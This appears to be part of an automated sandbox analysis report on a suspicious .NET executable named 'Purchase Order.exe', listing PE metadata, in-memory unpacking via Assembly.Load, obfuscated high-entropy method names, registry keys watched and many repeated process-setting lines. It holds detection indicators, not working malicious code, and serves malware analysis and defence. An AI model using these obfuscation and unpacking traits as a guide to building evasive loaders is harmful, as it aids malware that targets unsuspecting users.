Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Purchase Order.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: Purchase Order.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: cJZX.pdb source: Purchase Order.exe
Source:	Binary string: cJZX.pdbSHA256 source: Purchase Order.exe

Data Obfuscation

.NET source code contains potential unpacker

Source: Purchase Order.exe, SuperAdventure.cs	.Net Code: InitializeComponent System.AppDomain.Load(byte[])
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, c0JmJwYlJqYd0MoW5e.cs	.Net Code: PhkB3pOlFx System.Reflection.Assembly.Load(byte[])
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, c0JmJwYlJqYd0MoW5e.cs	.Net Code: PhkB3pOlFx System.Reflection.Assembly.Load(byte[])
Source: 0.2.Purchase Order.exe.7a90000.10.raw.unpack, nL.cs	.Net Code: sf
Source: 0.2.Purchase Order.exe.7a90000.10.raw.unpack, nL.cs	.Net Code: wb System.Reflection.Assembly.Load(byte[])
Source: 0.2.Purchase Order.exe.32c4454.4.raw.unpack, nL.cs	.Net Code: sf
Source: 0.2.Purchase Order.exe.32c4454.4.raw.unpack, nL.cs	.Net Code: wb System.Reflection.Assembly.Load(byte[])

Source: Purchase Order.exe

Static PE information: 0xB2AFCB55 [Tue Dec 30 12:21:41 2064 UTC]

Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_01909C20 push EC032893h; iretd	0_2_01909C6D
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_01909C40 push EC032893h; iretd	0_2_01909C6D
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_094B42A5 push ebx; ret	0_2_094B42DA
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_01669770 push esp; ret	2_2_01669771
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DB234A push edx; ret	2_2_05DB234B
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_06E9F0B7 push es; ret	2_2_06E9F0B8

Source: Purchase Order.exe

Static PE information: section name: .text entropy: 7.9495035633914695

Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, wrjYe5aToKpciW2VfH.cs	High entropy of concatenated method names: 'EBMb7ScU39', 'bbCb9jO5m8', 'Te8bdedRkb', 'xy8dyaIS7A', 'brAdzEcot5', 'P0LbXIF522', 'GASb4gSYUS', 'OclbKY9f6o', 'Kihbe5ho3V', 'c1hbB5X595'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, NHGqHVrOEDDV6G4stpo.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'JkDQ27KRds', 'M8wQr19Ul7', 'Bj2Qi9FMuP', 'bccQtwTJmW', 'lSyQLTZqsF', 'H0HQA4uiPF', 'BCGQMCHg8i'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, Y3KDGAssWSf8Mg3VOY.cs	High entropy of concatenated method names: 'lKhwTiVeqm', 'z9nwDi6HkO', 'NmkwvjcSe4', 'kQHwjuxCLp', 'PWgwo2txew', 'V0bwC4vIa5', 'agWwVWXd6n', 'AnSwJ1QZiJ', 'wFwwWhLS5K', 'Y9twmxuOO6'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, iq0X4uXRxp1wMvJwdA.cs	High entropy of concatenated method names: 'SNGcEmv4i9', 'nVXcyPJiWj', 'igaUXuWbKu', 'dAAU4842jJ', 'Fyycma37HW', 'SkRcIHSufC', 'Ws9caR8tTw', 'fsUc25PQiR', 'BZrcrKEi3j', 'mQ8ciNnv7J'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, cJTndOryL0Vy6OYifgE.cs	High entropy of concatenated method names: 'gbnGZWPh9X', 'P98Gx2Kv8L', 'V7UG3H6Y7p', 'SOlGgoHx8l', 'mOiGppNCtd', 'XBHG6TyGlA', 'zYEGu8M0dj', 'Ur0GTKC7x2', 'csCGDtIOxN', 'AruGsJDCg5'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, BOwi3dP3N9vwTmlkGN.cs	High entropy of concatenated method names: 'ToString', 'fhASmh7TUP', 'Lq1SjnwUFt', 'hx4SNJIZiN', 'CXoSoQiumQ', 'AbbSC9jBI2', 'H9LS89DZMp', 'AZkSVqeF5H', 'tfRSJZ9n1B', 'T7FSRx4JZ6'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, WJhonTxgluihCS0u13.cs	High entropy of concatenated method names: 'Dispose', 'hX14OKJux8', 'CKVKj9gAOk', 'UP155T5uYC', 'BED4yEln8a', 'pr74zk0xwq', 'ProcessDialogKey', 'NnSKXnYhrq', 'NU8K4DJb3Y', 'wVuKKmVlXH'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, DpreMYHmaBqn0L0Z6p.cs	High entropy of concatenated method names: 'ib5U7mJcCC', 'uoXUYvNHBn', 'BdFU9Q5PRd', 'POlUPI1G1R', 'hXgUdbEi2X', 'LVZUb9okNw', 'xcmUFBtBTj', 'JQvUnVvBie', 'yr4UhmZOux', 'OM7UkGJRfD'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, BpsKu276sb2hDS0pUd.cs	High entropy of concatenated method names: 'Lxf4bsO19y', 'CUZ4FD5w9a', 'rMi4hG2pHr', 'rcf4kOJgPi', 'XoY4HdsqoB', 'x794SUMgUX', 'WyMSN97CT6o98OugbX', 'KFIKhSo01BmSEc8Xqr', 'mQO44BcXuh', 'gwp4eNyBtS'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, sBf3YAfjRhwJxnTqDI.cs	High entropy of concatenated method names: 'iZv3IVRl9', 'hjugBkJ4Z', 'HHZ6tWnqj', 'TcHu4KQ29', 'VjCDfceo9', 'k4GsiK7U6', 'trrCZ8EyycApsMxAun', 'TVISJ2HWujYsW9hbQ4', 'fQuUljS6E', 'HvCQvXmjL'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, MTWMUYtX3CayUFNpHW.cs	High entropy of concatenated method names: 'd7FdlDtrLd', 'meRdYgn7Eh', 'bDJdP5PJ6s', 'WowdbJZZco', 'vIvdFVNk4J', 'p8QPLALpex', 'evQPAdtBT3', 'Nl2PMtOlUt', 'kVGPEGyjY4', 'GpqPOM1A5Y'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, c0JmJwYlJqYd0MoW5e.cs	High entropy of concatenated method names: 'yUMelRu6y8', 'qJMe7gPiPF', 'fMheYwycph', 'RQNe98Rmnx', 'PfYePdX3FA', 'dEAedaX4mZ', 'DHVeb8pGrC', 'ERAeFUxEqf', 'm6Xenw0VGQ', 'SdkehE6i0q'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, xIP7IyRvvhY4aieuRp.cs	High entropy of concatenated method names: 'ixxchxGPlm', 'S2HckqEuHx', 'ToString', 'HlNc7ges59', 'kPtcYnuTkM', 'ddHc9hEnA2', 'SxbcPuc3bB', 'B8Pcdf67GO', 'Tm5cbVtfXX', 'YUtcFVcZA9'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, pUZuqtnGEFgUxGMRtR.cs	High entropy of concatenated method names: 'UyAd1oZii3', 'UnXdZ6PPR8', 'QMDd3h47SW', 'j47dg37Sih', 'iXkd6hVqNt', 'nG8duMwKZO', 'fD8dDciuy0', 'LrCdsxut24', 'sQZBsFYjeGyvE6Ite9a', 'Xy8hNSYcKo1NsImgSfy'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, s4X4LuFEvtddWivXUm.cs	High entropy of concatenated method names: 'ikr9gMUsHu', 'CLh96OwPIM', 'lKu9TXC1kF', 'kDv9DYCeSs', 'WT09HU0mLv', 'Wto9S17Sjx', 'Ly29c6veP0', 'exU9UVIqUE', 'gDN9GGZSxy', 'o3d9QmDNdS'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, KoHwCn0VAavRpE54m8.cs	High entropy of concatenated method names: 'uCNbZYRVwf', 'IvSbx8ryjb', 'Frnb3DQPML', 'SPBbgRYCAm', 'l6Jbp5bHBp', 'Hagb60sbMx', 'hywbu0ogv5', 'QVebTbplEc', 'LKwbD2DEvE', 'xn2bs6G7dv'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, w3irh0dMbfWIaWLdDO.cs	High entropy of concatenated method names: 'wyVHWWPX6s', 'TMnHIykAdB', 'Rd5H2ogOCS', 'PVtHrQrgZv', 'CFRHjhDNeO', 'xt8HN9VfVc', 'DL6HoHDokw', 'x97HC0A7WL', 'gbfH8MGKip', 'R4DHVqp2Lo'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, KUgFQ4WTCrKXUfgMW7.cs	High entropy of concatenated method names: 'kQTPpnMGGn', 'fXxPu3yAfF', 'OuT9Nigg4u', 'dXB9oEKhTg', 'GE29CxjBeI', 'Jrh98YEdun', 'igi9VyBCKi', 'yu99J30pBl', 'csL9RUTTXU', 'uZf9WlCUa8'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, LkDy48btoEH441yn35.cs	High entropy of concatenated method names: 'GVhG4XPKcd', 'nC0GeyxxJY', 'mn9GBp0rSF', 'RQUG7whgj1', 'mO9GYB0DdR', 'MieGPI8ImV', 'v7pGdJlrTy', 'SvuUMro70m', 'WVCUEncf10', 'tS9UOFs5DM'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, WDV5NXzgCgmgNMVA8V.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'xMLGwUZHZ6', 'MnkGHDeGWo', 'c1rGSEpvi6', 'T9WGckULIc', 'zgTGUp9F6X', 'EoEGGx5P2a', 'pSxGQTNYu8'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, ftWhWilFvs26U0HpnX.cs	High entropy of concatenated method names: 'gOwUv6Q1wo', 'UOvUj61hAC', 'p6CUNPcgji', 'gGjUoZu73Q', 'KkWU26mTB3', 'b7jUCRPWam', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Purchase Order.exe.94c0000.12.raw.unpack, mpRvKO3JoGJC6tKJYH.cs	High entropy of concatenated method names: 'YHQY2Hy7uo', 'oDlYr4GyHe', 'TZFYi7p5BN', 'GDSYtIcSl1', 'GthYLBG39H', 'cOoYAaNEa4', 'egsYMT8LVo', 'CIrYEBdp2I', 'psbYO5YK91', 'xheYyrfKik'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, wrjYe5aToKpciW2VfH.cs	High entropy of concatenated method names: 'EBMb7ScU39', 'bbCb9jO5m8', 'Te8bdedRkb', 'xy8dyaIS7A', 'brAdzEcot5', 'P0LbXIF522', 'GASb4gSYUS', 'OclbKY9f6o', 'Kihbe5ho3V', 'c1hbB5X595'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, NHGqHVrOEDDV6G4stpo.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'JkDQ27KRds', 'M8wQr19Ul7', 'Bj2Qi9FMuP', 'bccQtwTJmW', 'lSyQLTZqsF', 'H0HQA4uiPF', 'BCGQMCHg8i'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, Y3KDGAssWSf8Mg3VOY.cs	High entropy of concatenated method names: 'lKhwTiVeqm', 'z9nwDi6HkO', 'NmkwvjcSe4', 'kQHwjuxCLp', 'PWgwo2txew', 'V0bwC4vIa5', 'agWwVWXd6n', 'AnSwJ1QZiJ', 'wFwwWhLS5K', 'Y9twmxuOO6'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, iq0X4uXRxp1wMvJwdA.cs	High entropy of concatenated method names: 'SNGcEmv4i9', 'nVXcyPJiWj', 'igaUXuWbKu', 'dAAU4842jJ', 'Fyycma37HW', 'SkRcIHSufC', 'Ws9caR8tTw', 'fsUc25PQiR', 'BZrcrKEi3j', 'mQ8ciNnv7J'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, cJTndOryL0Vy6OYifgE.cs	High entropy of concatenated method names: 'gbnGZWPh9X', 'P98Gx2Kv8L', 'V7UG3H6Y7p', 'SOlGgoHx8l', 'mOiGppNCtd', 'XBHG6TyGlA', 'zYEGu8M0dj', 'Ur0GTKC7x2', 'csCGDtIOxN', 'AruGsJDCg5'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, BOwi3dP3N9vwTmlkGN.cs	High entropy of concatenated method names: 'ToString', 'fhASmh7TUP', 'Lq1SjnwUFt', 'hx4SNJIZiN', 'CXoSoQiumQ', 'AbbSC9jBI2', 'H9LS89DZMp', 'AZkSVqeF5H', 'tfRSJZ9n1B', 'T7FSRx4JZ6'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, WJhonTxgluihCS0u13.cs	High entropy of concatenated method names: 'Dispose', 'hX14OKJux8', 'CKVKj9gAOk', 'UP155T5uYC', 'BED4yEln8a', 'pr74zk0xwq', 'ProcessDialogKey', 'NnSKXnYhrq', 'NU8K4DJb3Y', 'wVuKKmVlXH'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, DpreMYHmaBqn0L0Z6p.cs	High entropy of concatenated method names: 'ib5U7mJcCC', 'uoXUYvNHBn', 'BdFU9Q5PRd', 'POlUPI1G1R', 'hXgUdbEi2X', 'LVZUb9okNw', 'xcmUFBtBTj', 'JQvUnVvBie', 'yr4UhmZOux', 'OM7UkGJRfD'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, BpsKu276sb2hDS0pUd.cs	High entropy of concatenated method names: 'Lxf4bsO19y', 'CUZ4FD5w9a', 'rMi4hG2pHr', 'rcf4kOJgPi', 'XoY4HdsqoB', 'x794SUMgUX', 'WyMSN97CT6o98OugbX', 'KFIKhSo01BmSEc8Xqr', 'mQO44BcXuh', 'gwp4eNyBtS'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, sBf3YAfjRhwJxnTqDI.cs	High entropy of concatenated method names: 'iZv3IVRl9', 'hjugBkJ4Z', 'HHZ6tWnqj', 'TcHu4KQ29', 'VjCDfceo9', 'k4GsiK7U6', 'trrCZ8EyycApsMxAun', 'TVISJ2HWujYsW9hbQ4', 'fQuUljS6E', 'HvCQvXmjL'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, MTWMUYtX3CayUFNpHW.cs	High entropy of concatenated method names: 'd7FdlDtrLd', 'meRdYgn7Eh', 'bDJdP5PJ6s', 'WowdbJZZco', 'vIvdFVNk4J', 'p8QPLALpex', 'evQPAdtBT3', 'Nl2PMtOlUt', 'kVGPEGyjY4', 'GpqPOM1A5Y'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, c0JmJwYlJqYd0MoW5e.cs	High entropy of concatenated method names: 'yUMelRu6y8', 'qJMe7gPiPF', 'fMheYwycph', 'RQNe98Rmnx', 'PfYePdX3FA', 'dEAedaX4mZ', 'DHVeb8pGrC', 'ERAeFUxEqf', 'm6Xenw0VGQ', 'SdkehE6i0q'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, xIP7IyRvvhY4aieuRp.cs	High entropy of concatenated method names: 'ixxchxGPlm', 'S2HckqEuHx', 'ToString', 'HlNc7ges59', 'kPtcYnuTkM', 'ddHc9hEnA2', 'SxbcPuc3bB', 'B8Pcdf67GO', 'Tm5cbVtfXX', 'YUtcFVcZA9'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, pUZuqtnGEFgUxGMRtR.cs	High entropy of concatenated method names: 'UyAd1oZii3', 'UnXdZ6PPR8', 'QMDd3h47SW', 'j47dg37Sih', 'iXkd6hVqNt', 'nG8duMwKZO', 'fD8dDciuy0', 'LrCdsxut24', 'sQZBsFYjeGyvE6Ite9a', 'Xy8hNSYcKo1NsImgSfy'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, s4X4LuFEvtddWivXUm.cs	High entropy of concatenated method names: 'ikr9gMUsHu', 'CLh96OwPIM', 'lKu9TXC1kF', 'kDv9DYCeSs', 'WT09HU0mLv', 'Wto9S17Sjx', 'Ly29c6veP0', 'exU9UVIqUE', 'gDN9GGZSxy', 'o3d9QmDNdS'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, KoHwCn0VAavRpE54m8.cs	High entropy of concatenated method names: 'uCNbZYRVwf', 'IvSbx8ryjb', 'Frnb3DQPML', 'SPBbgRYCAm', 'l6Jbp5bHBp', 'Hagb60sbMx', 'hywbu0ogv5', 'QVebTbplEc', 'LKwbD2DEvE', 'xn2bs6G7dv'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, w3irh0dMbfWIaWLdDO.cs	High entropy of concatenated method names: 'wyVHWWPX6s', 'TMnHIykAdB', 'Rd5H2ogOCS', 'PVtHrQrgZv', 'CFRHjhDNeO', 'xt8HN9VfVc', 'DL6HoHDokw', 'x97HC0A7WL', 'gbfH8MGKip', 'R4DHVqp2Lo'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, KUgFQ4WTCrKXUfgMW7.cs	High entropy of concatenated method names: 'kQTPpnMGGn', 'fXxPu3yAfF', 'OuT9Nigg4u', 'dXB9oEKhTg', 'GE29CxjBeI', 'Jrh98YEdun', 'igi9VyBCKi', 'yu99J30pBl', 'csL9RUTTXU', 'uZf9WlCUa8'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, LkDy48btoEH441yn35.cs	High entropy of concatenated method names: 'GVhG4XPKcd', 'nC0GeyxxJY', 'mn9GBp0rSF', 'RQUG7whgj1', 'mO9GYB0DdR', 'MieGPI8ImV', 'v7pGdJlrTy', 'SvuUMro70m', 'WVCUEncf10', 'tS9UOFs5DM'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, WDV5NXzgCgmgNMVA8V.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'xMLGwUZHZ6', 'MnkGHDeGWo', 'c1rGSEpvi6', 'T9WGckULIc', 'zgTGUp9F6X', 'EoEGGx5P2a', 'pSxGQTNYu8'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, ftWhWilFvs26U0HpnX.cs	High entropy of concatenated method names: 'gOwUv6Q1wo', 'UOvUj61hAC', 'p6CUNPcgji', 'gGjUoZu73Q', 'KkWU26mTB3', 'b7jUCRPWam', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Purchase Order.exe.45b6b20.8.raw.unpack, mpRvKO3JoGJC6tKJYH.cs	High entropy of concatenated method names: 'YHQY2Hy7uo', 'oDlYr4GyHe', 'TZFYi7p5BN', 'GDSYtIcSl1', 'GthYLBG39H', 'cOoYAaNEa4', 'egsYMT8LVo', 'CIrYEBdp2I', 'psbYO5YK91', 'xheYyrfKik'

Source: C:\Users\user\Desktop\Purchase Order.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
